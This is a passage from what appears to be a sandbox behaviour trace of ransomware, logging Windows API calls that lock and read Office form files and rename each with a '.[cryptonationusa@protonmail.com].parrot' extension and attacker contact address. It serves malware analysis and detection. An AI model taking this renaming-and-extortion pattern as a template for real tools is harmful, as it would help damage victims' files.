Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.668] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x454, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.668] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.668] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.670] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.670] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x33c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x33c, lpOverlapped=0x0) returned 1 [0184.670] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.670] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x454, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.670] CloseHandle (hObject=0x27c) returned 1 [0184.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.674] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x421, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.674] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.674] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.676] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.676] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x309, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x309, lpOverlapped=0x0) returned 1 [0184.676] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.677] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x421, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.677] CloseHandle (hObject=0x27c) returned 1 [0184.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.715] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x421, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.715] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.715] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.717] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.717] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x309, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x309, lpOverlapped=0x0) returned 1 [0184.717] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.718] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x421, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.718] CloseHandle (hObject=0x288) returned 1 [0184.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.723] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54e, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.724] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.724] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.725] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.725] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.726] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.726] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.726] CloseHandle (hObject=0x288) returned 1 [0184.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postitl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.732] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcce, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.732] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.732] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.733] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.733] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.734] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.734] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.734] CloseHandle (hObject=0x288) returned 1 [0184.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTITS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postits.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.739] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54e, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.739] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.739] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.741] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.741] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.741] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.742] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.742] CloseHandle (hObject=0x288) returned 1 [0184.742] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.747] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcce, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.748] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.748] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.773] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.773] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.774] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.774] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.774] CloseHandle (hObject=0x288) returned 1 [0184.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.781] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x440, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.781] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.781] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.806] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.807] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x328, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x328, lpOverlapped=0x0) returned 1 [0184.807] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.807] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x440, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.808] CloseHandle (hObject=0x288) returned 1 [0184.808] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.814] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.814] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.815] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.816] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x651, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x651, lpOverlapped=0x0) returned 1 [0184.816] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.822] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.822] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.825] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.825] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.825] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.826] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.832] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.832] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.834] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.834] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.834] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.835] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.841] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.842] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.845] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.845] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x30b, lpOverlapped=0x0) returned 1 [0184.846] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.846] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remote.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.851] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.851] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.860] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.861] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.861] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.868] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.868] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.869] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.869] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.870] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotes.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.875] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.875] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.885] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.885] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x33a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x33a, lpOverlapped=0x0) returned 1 [0184.886] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.893] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.893] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.918] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.918] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x30d, lpOverlapped=0x0) returned 1 [0184.919] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.919] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 